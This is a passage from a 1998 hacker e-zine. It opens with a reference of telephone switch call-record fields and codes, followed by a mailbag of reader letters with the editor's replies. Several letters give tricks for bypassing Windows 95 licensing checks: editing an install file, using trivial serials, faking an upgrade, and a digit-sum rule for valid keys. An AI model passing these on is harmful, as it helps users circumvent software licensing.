Station-to-station (S-S) 3* = Third party billing (3rd party number recorded) 4* = P-P collect (bill to called party) 5* = S-S collect (bill to called party) 6 = Card or VNET card (S-S) 7* = BOC inward dialing without call completion 8* = General assistance 9* = BOC/LEC card 10 = Presubscribed credit card 11*= PTT card 12*= Directory assistance 13*= Commercial credit card 14*= BOC inward dialing with call completion 15*= Card or VNET card (P-P) 16-19 = Not currently used - available 20 = ANI validation (screened pass/failed) 21 = Auth validation (filed or dialed) 22 = Not currently used - available 23 = 700 service access code (overrides #20) 24 = 800 service access code (overrides #20) 25 = 900 service access code (overrides #20) 26*= Prism I, prism II, and WATS (not currently supported) 27-28 = Not currently used - available 29*= Operator release time expired 30*= EVS/NARS-disconnect message referral (DMR) without referral 31*= EVS/NARS-DMR with referral to number 32*= EVS/NARS-DMR with referral to non-supported number 33*= EVS/NARS-DMR with referral and Call Extension (CE) to number 34*= EVS/NARS-DMR with referral and CE to non-supported number 35*= EVS/NARS-customized message announcement (CMA) with call extension 36*= EVS/NARS-CMA without call extension 37*= EVS/NARS-Enhanced call routing (ECR) 38-41*= EVS/NARS-Reserved for future use 42-47 = Not currently used - available 48*= GETS card 49 = Not currently used - available 50*= Billed to international number 51 = CSI information recorded 52 = Supp code only recorded 53 = VNET remote access number recorded 54 = SS7 calling party number recorded 55 = OSID+OTG recorded 56 = DNIS recorded 57 = Business group ID recorded 58 = Network information recorded 59-79 = Reserved for future switch-generated entry codes 80-89*= Reserved for T*USA calls that are allowed to re-originate 90-99*= Reserved for T*USA calls that are not allowed to re-originate 100-127= Not currently used - available Feat Code - Feature Code ------------------------ Comes from switch call processing or is returned from the NCS/DAP. 0 = Not to be used-default 1 = FAX1,2,4 2 = NARS1,2 3 = Data cal14 4 = Switched DS1 (HSCS)1 5 = Switched DS3 (HSCS)1 6-8 = Not currently used-available 9 = NX64 (N=?, see bitmaps in ECDR/EPNR)3,5 10= Offnet routing2 11= AAP call (used in gateway toll ticket conversion) 12-15= Not currently used-available Note: 1 - Determined by switch call processing 2 - Returned from NCS/DAP 3 - Specified in messaging from originating trunk 4 - See digital data call spec, ref #6 5 - See ISDN call processing spec, ref #6 Info Digits - Information Digits -------------------------------- Contains one or two information digits as received from the originating trunk (FG-B or FG-D, CAMA, IMTs, or CCITT #5 and #6 international trunks). Info Digits received from CAMA Trunk: 0 = ANI 1 = ONI - Multiparty 2 = ANI Failure 3 = ANI Observed 4 = ONI Observed 5 = ANI Failure Observed Info Digits recieved from LEC - FGB Direct 0 = ANI 1 = ONI - Multiparty 2 = ANI Failure 6 = Hotel/Motel 7 = Coinless, Hospital, Inmate, etc. Info Digits/OLI received from RBOC or LEC - FGD 00 = Identified POTS line - no special treatment 01 = ONI - Multiparty 02 = ANI Failure 06 = Hotel/Motel without room identification 07 = Coinless, Hospital, Inmate, etc. 08 = Interlata Restricted - Regular Line 10 = Test Call 20 = AIOD - Listed directory number sent 23 = Can't be identified from N.C.E.O. 24 = SAC call already translated by LEC 25 = ? 27 = Coin Phone 52 = OUTWATS 61 = Cellular 62 = Cellular from Type 2 trunks 63 = Cellular from Type 3 trunks 68 = Interlata Restricted - Hotel/Motel 78 = Interlata Restricted - Coinless, Hospital, Inmate, etc. 95 = Test Call FCSI Info Digits used on IMT's 00*= DDD/IDDD 10*= Test CAll 28 = SAC and VNET DDD/IDDD 29 = SAC and VNET DDD/IDDD with DTO envoked 31 = SAC and VNET 7D DTC 32 = SAC and VNET 7D DTC with DTO available 33 = SAC and VNET 10D DTC 34 = SAC and VNET 10D DTC with DTO available 41 = SAC and VNET 7D DTC Digital Routing 42 = SAC and VNET 7D DTC Digital Routing with DTO available 43 = SAC and VNET 10D DTC Digital Routing 44 = SAC and VNET 10D DTC Digital Routing with DTO available 45 = Flex DTC 46 = Flex DTC with DTO available 47 = International VNET 48 = International inbound SAC 49 = Outbound IVNET 50 = EIR Switch ID/Carrier ID + IDDD 52*= OUTWATS 61*= Cellular 62*= Cellular (Type 2) 63*= Cellular (Type 3) 76 = Special Operator Services (Identified by ANI) IN - Internetwork ----------------- The default setting for this bit is "0". It will be set to a "1" if a business group or netinfo parameter is received from the NCS/DAP. NAT - Network Access Type ------------------------- Indicates which type of network access is used. This information is defined at the originating switch on the network, and will be sent to the next switch via the SS7 IAM message. If a switch receives this parameter in an SS7 message on an IMT trunk, the switch records the information in its call record. 0 = Default 1 = INWATS Card Access (800-950-XXXX, 800-444-XXXX) (see CN for XXXX) 2 = 950-XXXX Card Access (see CN for XXXX) 3 = Operator Assist Access (0+, 0-, card time-out, OP-OP transfer) 4 = VNET Remote Access 5 = BPP Access 6-15 = Not currently used-available NCS/DAP ID ---------- Indicates that the switch processed the call, or that one of the NCS/DAPs is queried for information for services including, but not limited to VNET, calling card, 800, and 900. It indicates the ID of the NCS/DAP that was involved in the last transaction attempt. An NCS/DAP ID in this field indicates that a switch to NCS/DAP transaction is attempted, and does not necessarily mean that the transaction (a request message) was transmitted to the NCS/DAP and a response message was received. If a response time-out occurs, the NCS/DAP value is recorded along with an action code of 5. 0 = Switch call processing 1 = NCS/DAP 1 2 = NCS/DAP 2 3 = NCS/DAP 3 4-5 = Not currently used-available 6 = Received from operator platform via RLT 7 = TCAP to NCS/DAP NOCLI - Nature of Calling Location ID ------------------------------------- The calling location ID field (CLI Number or originating ANI) contains the information that is referenced here in the NOCLI. 0 = Not used 1 = ANI from in-band trunk 2 = SS7 charge number 3 = SS7 calling party number 4 = Original called number 5 = Pseudo ANI created at this switch 6 = CSI from originating trunk 7 = Filed NPA-NXX trunk group information plus CSI 8 = NNN+OSID+OTG or OOY+OSID+OTG (N=TBCD null) 9 = Country code + national number 10= No CLI recorded 11= Redirecting number 12= CLI received from operator platform via RLT 13-15= Not currently used-available Originating Port ---------------- The port or circuit number the call was originated on. Originating Trunk Class ----------------------- 0= ONAL (FG-A) 1= ONAT (FG-B, FG-C, FG-D, CAMA, LAMA) 2= DAL, VNET CAMA, FG-D-DAL 3= IMT (in-band or SS7) 4= International circuit (R1, R2, #5, #6, #7) 5= ISDN PRI 6= OST (to be phased out) 7-15= Not currently used-available Originating Trunk Group ----------------------- Trunk group the call originated on. Prefix ------ Customer-dialed prefix digits. Not used on IMT originations. 0 = No prefix digits received 1 = 0- no additional customer-dialed address digits, operator assisted 2 = 0+ domestic Customer-Dialed Operator Service (CDOS) 3 = 01+ International CDOS 4 = 011+ IDDD (including IDDD origination from presubscribed FG-D lines) 5 = 1+DDD 6 = 8+7D dialing (VNET) 7 = Not currently used-available Pre-Translated - Pretranslated Digits ------------------------------------- Contains the pretranslated digits as dialed by the subscriber (or filed hotline number) if translated to another number. If the PTD number is longer than 10 digits, ECDR/EPNR is used. If the dialed number is the destination number and is not translated to another number this field will remain blank. The 00Y code (?) for 800 service calls shall be recorded. If a 10D DTC call is received that uses virtual trunks, the 14-digit compressed number is recorded. For IMT call records the DNIS (originally pretranslated number) that is transported in the SS7 generic address parameter is used. The three digit data call indicator (#56) for analog data calls shall not be recorded. RO - Reported Overflow ---------------------- The default setting for this bit is 0. It will be set to 1 if the originating trunk group has received an SS7 IAM indicating that the call had previously been involved in an overflow situation. SA - Satellite -------------- This bit, when set to 1, indicates a satellite circuit was involved in the call. The SA bit is set when the incoming trunk group is classmarked as satellite equipped, when the SAT digit on an incoming in-band IMT call shows that a satellite circuit is involved in the connection (SA digit equals 2), or when the SS7 nature of connection parameter indicates that a satellite trunk was previously used. This bit is recorded for troubleshooting purposes and not for billing. SS7 Cause - SS7 Release Code ---------------------------- SS7 ISUP or ISDN release cause codes that shall be recorded only when an SS7 message is received that terminates the call. This code is used in conjunction with the disconnect qualifier to determine which direction the SS7 release message came from. ISDN - Release With Cause Definitions RWC 1, Unallocated (unassigned) Number - no routing exists in switch or pbx for that number RWC 2, No Route to Specified Network RWC 3, No Route to Destination RWC 4, Vacant area code or central office code RWC 5, Misdialed Trunk Prefix RWC 6, Channel unacceptable - interface identifiers {IId} are not explicit RWC 7, Call awarded and being delivered in an established channel RWC 8, Prefix 0 dialed but not allowed RWC 9, Prefix 1 dialed but not allowed RWC 10, Prefix 1 not dialed but required RWC 11, More digits received than allowed, call proceeding RWC 16, Normal Clearing RWC 17, User Busy (Busy) RWC 18, No User Responding - seen if circuits are in lockout RWC 19, No answer from user (user alerted) RWC 21, Call Rejected RWC 22, Number Changed RWC 26, Non-selected user clearing RWC 27, Destination out of order RWC 28, Invalid number format (address Incomplete) - Vnet customer, Dap not updated (action code=19) RWC 29, Facility Rejected RWC 30, Response to STATUS ENQUIRY RWC 31, Normal - Unspecified RWC 34, No Circuit or channel Available RWC 38, Network Out Of Order RWC 41, Temporary Failure RWC 42, Switching Equipment Congestion RWC 43, Access information discarded RWC 44, Requested Channel Not Available - interface identifiers not matching RWC 45, Preemption RWC 46, Precedence call blocked RWC 47, Resource Unavailable - Unspecified RWC 49, Quality of service unavailable RWC 50, Requested Facility Not Subscribed RWC 52, Outgoing calls barred - service requested not authorized RWC 54, Incoming calls barred RWC 55, Incoming Calls Barred Within CUG RWC 57, Bearer Capability Not Authorized RWC 58, Bearer Capability Not Available RWC 63, Service or Option Not Available RWC 65, Bearer Capability Not Implemented - terminating end does not support bearer capability RWC 66, Channel type not implemented RWC 69, Requested Facility Not Implemented RWC 70, Only Restricted Digital Information RWC 79, Service or Option Not Implemented RWC 81, Invalid call reference value RWC 82, Identified channel does not exist RWC 87, Called User Not Member of CUG RWC 88, Incompatible Destination RWC 91, Invalid Transit Network Selector RWC 95, Invalid Message, Unspecified RWC 96, Mandatory information element is missing RWC 97, Message Type Non-Existent Or Not Implemented RWC 98, Message not compatible with call state RWC 99, Information element Non-Existent Or Not Implemented -Discarded RWC 100, Invalid information element contents - release complete. Message identifies the invalid info element. RWC 101, Message not compatible with call state RWC 102, Recovery on Timer Expired - exceeded 4 seconds RWC 103, Parameter Non-Existent Or Not Implemented - Passed On RWC 111, Protocol Error - Unspecified RWC 127, Interworking - Unspecified Term Code - Terminating Network Code ------------------------------------ Supplied by the NCS/DAP to indicate the terminating facilities to be used for the remainder of the network path of the call. 0 = Not to be used-default 1 = No routing restrictions 2 = Avoid satellite 3 = Route via DS1 4 = Route via DS1 and avoid satellite 5 = Route via protected facilities required 6 = Route via protected facilities preferred 7-15= Not currently used-available Terminating Port ---------------- The circuit or port number of the last terminating trunk seized for an outgoing call attempt. For originating dial event error conditions in which no terminating trunk is seized, this field contains the switch exception/treatment code indicating the cause of the dial event error condition. DMS = MTT;MTC;IOD;CDR 5 (DISPLOG) XXX (exception/treatment code) DEX = DISPLA CP TREAT Outpulse Qual ------------- Outpulsed call disposition qualifier. If the billing switch is not the switch where the information was delivered, the switch that delivered the information will send back an SS7 message that indicates which information was delivered, and the billing switch will record the information. Delivery indicators will be recorded at both the billing switch and the delivering switch. 0 = Not to be used-default 1 = ANI/CSI was delivered 2 = DNIS was delivered 3 = ANI/CSI and DNIS were delivered 4 = Calling party name was delivered (future) 5 = User-to-user information was delivered 6-15 = Not currently used-available Answer Qual ----------- Answer supervision qualifier. For SS7, the BCSI parameter in the answer message (ANM) indicates the type of answer; and in the ISDN applications, the ANM indicates that the call was answered. 0 = Hardware detected answer (also in-band IMTs) 1 = Software detected voice 2 = Not currently used - available Disconn Qual ------------ Call disconnect qualifier is recorded for domestic and international calls at each switching system in the path of the call. The first disconnect qualifier that is determined is recorded. 0 = Calling party disconnect (clear forward) 1 = Called party disconnect (clear backward) 2 = Calling party reorigination 3 = Switch initiated (default case includes Multiplexer (MUX)/radio hits, switch restarts, switch audits, manual action, matrix or hardware/software faults) 4 = All routes busy (ARB) takes precedence over any other type of disconnect qualifier. This includes calls that reoriginated or that were disconnected due to the calling party going on hook. 5 = Long ring disconnect (timer exceeded) 6-15 = Not currently used-available Terminating Trunk Class ----------------------- 0 = ONAL (FG-A) 1 = ONAT (FG-B, FG-C, FG-D, CAMA, LAMA) 2 = DAL, VNET CAMA, FG-D-DAL 3 = IMT (in-band or SS7) 4 = International circuit (R1, R2, #5, #6, #7) 5 = ISDN PRI 6 = OST 7-15 = Not currently used-available Terminating Trunk Group ----------------------- Trunk group the call terminated on. If a call fails because no trunks were available the last trunk group that was attempted is used. Have phun. +EOT+ /var/spool/mail ~~~~~~~~~~~~~~~ [ Keep in mind that comments from me (Ryan Graciano) are enclosed in ] [ these brackets :] From: paul@atour.com To: tiepilot@city-net.com Subject: your I/O zine Greetings, I just want to tell you how much I enjoyed reading your two issues (I/O zine) you have posted on your website. I am not the most technical of people, but it is refreshing to finally understand what I read, the TCP/IP column was just great. I just hope that you continue publishing this zine. Future articles that might interest me would be IP Spoofing. The best of luck to you, and keep up the great job....like your website too. Paul [ I just thought I'd kick things off with an example of the kind of ] [ email I like to get :) ] From: parallel@edgeoftheweb.net To: tiepilot@city-net.com Subject: Annex I noticed your article about the Xylogic Annex terminals in I/O #2. Wanted to make a couple comments. #1 - Yeah, they are very insecure if not done right. You can have full telnet/rlogin access out of them plus a whole lot of other features that aren't documented. #2 - There is a way to secure them so that the CLI is offline whenever they are telnet'd to. Example: you are using the Annex as a terminal server for your modems to your un*x box for authentication. A modem dials in, and the Annex requests username/password and verifies with the un*x system. If you telnet to the Annex under this setup, the only way to get in is to specify a specific port on the Annex a modem is connected to (mind you, that modem must not be in use at the time) and then entire a username and password. From there, it is entirely dependant upon whether that user has shell access or not. I understand there are a lot more details in my example, and I don't think there's enough room to explain here. If you would like a longer explanation, I'd be happy to provide. My company used five Annex terminals (with 16 modems to each Annex) for a few years, so I have an idea of how they work and their security. Best regards, parallel [ If anyone knows of the undocumented features mentioned, drop me ] [ a line. ] From: hommels@earthlink.net To: tiepilot@city-net.com Subject: Upgrade vs. Full version of W95 Upgrade vs. Full version of W95 BJ Bell said in I/O #2: Now this got me wondering about how much more stuff Microsoft has done, assuming users are totally clueless. Actually its siller than he said. The cds are the same except for a line in setuppp.inf (in precopy2.cab). ProductType= 2 is an upgrade. I think 1 is full. As for product serial numbers, usually all 1s will work, otherwise all 1s execpt for a final 2. Fred [ I received _lots_ of feedback regarding the article by BJ Bell on ] [ Microsoft's silliness. I guess, for the most part, people agree on ] [ their ineptitude... although, I did manage to start a few heated ] [ discussions with some MS supporters who mailed me. Everyone is ] [ entitled to their opinion, I suppose... ] From: ajones49@juno.com To: tiepilot@city-net.com Subject: AntiOnline Staff To whom it may concern, I would like to request more information on becoming part of the staff writers of AntiOnline. I am currently a high school student with free time, and I would like to contribute as much as I can back to "the scene." I do have experience in hacking, phreaking, computers, and electronics, and would be very honored to be a part of your publication. Please contact me back at ajones49@juno.com. Thank you. -Alex Jones ("Cossack") [ It concerns me, apparently :) We received a number of people asking ] [ to write or involve themselves somehow, so I thought I'd outline the ] [ general procedure here. If you would like to write for I/O, write an ] [ _original_and_unpublished_ paper on the technical topic of your ] [ choosing. Obviously, be sure that the topic has not already been covered ] [ in I/O, or that you are at least extending what was written previously. ] [ And, of course, the material has to be up to I/O's standards. Potential ] [ writers should know what this means, but if you have any doubts, just ] [ check a topic with me before you start writing. ] [ Oh, by the way, you'll find an article by Cossack in this issue :] From: mzullo@bestway.com.br To: tiepilot@city-net.com Subject: Translation Hi. I have read the first edition of I/O. I thought this was incredibly well written and with lots of good information. I have a suggestion to make you. I am from Brazil, and as you know, we brazilians speak portuguese and many of us cannot speak, talk, write or read english. I am in the computer scene for abou 8 years and I thought it would be a great addition to the brazilian underground the translation of your zine to my home language. I have the time and interest to make a good work for you. The way the translation would be made can be defined by you. Please consider this suggestion. I would be very glad to integrate this group, even if it's by far away. Thanks for your time. Fame Campinas, SP, Brazil BCF - Brazilian Crackerz Force http://www.chez.com/bcf/ [ More than one translation was proposed, and we're happy to accept any. ] [ Translations to other languages are more than welcome, just mail me ] [ when they're done, and I'll let people know they exist. ] From: gstrohjr@cybertron.com To: tiepilot@city-net.com Subject: BJ Bell's article Hi, This is about BJ Bell's article in I/O 2. When I upgraded to Win95, I refomatted my hard drive first. I had a friend make me a Win95 boot disk. I copied my cd drivers and other things on to this disk. I also copied a blank file called Win.cn_ to fool the install program into thinking I was upgrading. I like your site and the information helps people make their systems more secure. [ I haven't actually tried any of these yet, but they all seem pretty silly. ] [ Windows is easily fooled into thinking you're upgrading. Of course, I run ] [ Linux, and it's happy to have you upgrade or install from scratch.. and ] [ all for free, imagine that. ] From: toth@email.tgm.ac.at To: tiepilot@city-net.com Subject: Secure Socket Layers This article in I/O Issue 2 about Socket programming was very interesting. But will i read something about Secure Socket Layers? This part of the story would be very interestingfor me. Beside this, your zine provides me with information, which many big fat books from, so called, intelligent people, weren't able to. Thank you and keep on doing this way! Marcus [ Call me crazy, but I think people such as Kernigan, Ritchie, and Stevens ] [ are pretty bright :) I wouldn't throw "Unix Network Programming" away ] [ just yet (besides, the 2nd edition has a neat new cover). All kidding ] [ aside, sources such as these are where our writers learned all this stuff ] [ in the first place. The ever handy "TCP/IP Illustrated" series... ] [ Anyhow, thanks for the compliments, and you might see something on ] [ secure socket layers in the near future. ] From: terradd80@hotmail.com To: tiepilot@city-net.com Subject: hack I would like to learn to hack. Please send me all the info I need to get started, so that I can expand my mind and one day understand this world better. thanxs, s [ I'll get right on that. ] From: 7080bsc@gte.net To: tiepilot@city-net.com Subject: Program I am looking for a program that not only logs local user input but also logs remote user output, screen buffers, etc. Are you aware of such a product ? I have experience with keylog! and it seems to work well. Thank you for your help in advance. [ Contrary to what seems to be popular belief, I AM NOT a source for ] [ every little tidbit of cracking information and silly program you need. ] [ tiepilot != (sentient_ftp_site) ] From: Bradley McCourt To: tiepilot@city-net.com Subject: Computers Hello, I was wondering if you could help me somehow. I have a computer's project to do for school, and i need ARTICLES on Computer viruses, computer crimes (i.e. hacking, thefts, etc.), and computer's effects on society (i.e. health risks, retraining, etc.) If you could be of any service, it would be greatly appreciated. Thanx Shawna McCourt [ Is it Bradley or Shawna? I guess we'll never know. But, as long as we're ] [ on the topic, Bradley/Shawna did not just want help, they actually ] [ wanted me to write the article for them. Unless you'd like to pay for ] [ my services as a contract technical writer, don't hold your breath. :] From: mickey7@home.com To: tiepilot@city-net.com Subject: problem I am unable to view the archives page as well as several others...all they contain is an ad at the top... [ Just to clarify things, I am completely unresponsible for any/all html ] [ on AntiOnline. All I do is edit and write for I/O, I can not fix broken ] [ links, and I will not update the files section (I must have gotten ] [ hundreds of individual emails from people asking me to update the files ] [ section.) ] Date: Fri, 29 May 1998 21:27:14 -0500 (EST) From: jp@antionline.com Subject: Automated AntiOnline WebForm Below Is A Message From AntiOnline's Comment Form. --------------------------------------------------------------------------- This form was submitted by: The Grim Reaper. Who runs the following website: www.freeyellow.com/members3/psyko219 And is the HACKER, CRACKER, PHONE PHREAKER for NONE You can email at: G Reaper18@aol.com Submitted The Following Comments/Questions: I NEED AS MANY HACKERS AS POSSIBLE 2 E-MAIL ME 4 A HACKING JOB BEING DONE WITHIN THE NEXT 2 WEEKS FROM 5/29/1998 [ OK! I'LL HIRE ALL THOSE HACKERS, AND WE'LL DO THAT, RIGHT AWAY! Oh, ] [ it looks like I'm too late. Rats. ] From: tookewel@hotmail.com To: tiepilot@city-net.com Subject: Post this article Ryan, I want to you to post an article for me from the Colorado Daily. [ ARTICLE CUT ] -TooKewel [ I think the Colorado Daily would contact me if they wanted me to ] [ republish what they've already written. Of course, I have no idea why _I_ ] [ would want to do such a thing... ] From: Oberon@uniserve.com To: tiepilot@city-net.com Subject: I/O I really enjoyed I/O 1 and 2. The section that most interested me was the information on the TCP/IP stack. While that info may be easy to find (so to speak) it was well presented, and I found it easy to read, AND understand. I live in a small town and as such our library is rather devoid of good computer literature. I constantly purchase computer books, and that gets expensive real fast. So, keep up the good work (and keep going into the TCP/IP stack too, I am really interested in how it works (or does'nt)) [ I like to think that we produce I/O for exactly these reasons. Thanks ] [ for the feedback. ] [ On another note, I was hoping to get a really negative email to ] [ post right after this one, in contrast, but unfortunately I did not ] [ receive anything along the lines of "you suck, and so does I/O". Oh well. ] From: ndrengenberg@bigfoot.com To: tiepilot@city-net.com Subject: #Queen on IRCNet i'm a regular (and channel op) on #Queen on IRCNet. We've recently been the victims of several hostile takeovers (all orchestrated by the same person i think), and the latest seems to have well and truly stuffed us. Do you know of anything we can do to get rid of these jerks? We usually run an eggdrop and other bot(s), but they've nuked them before and this time as well. Basically the channel is theirs now. Thanks, mugs [ Talk to whoever runs IRCNet. ] From: nomad1.0@technologist.com To: tiepilot@city-net.com Subject: Phone systems Hello Ryan, First of all I would just like to say that I have read every article that IO has produced, and I have learned some new things from it. I was wondering if maybe next issue (whenever it comes out) if you could get someone to do an article geared towards phone systems and todays security in them. All the texts that I have read regarding this subject have been long outdated. Matt Thomas [ Well, I took Matt's advice and posted a couple of articles relating ] [ to the phone system. Enjoy :] From: firewire@rica.net To: tiepilot@city-net.com Subject: CD key Also for BJ Bell, The upgrade/full install part of the CD key is contained in the first set of numbers for the XXX-XXXXXXX format...Anywayz..in the XXX-XXXXXXX format the sum of the last set of digits has to equal a number evenly divisible by seven and the key will be accepted..... [ I really did receive a LOT of email on this :] +++EOF+++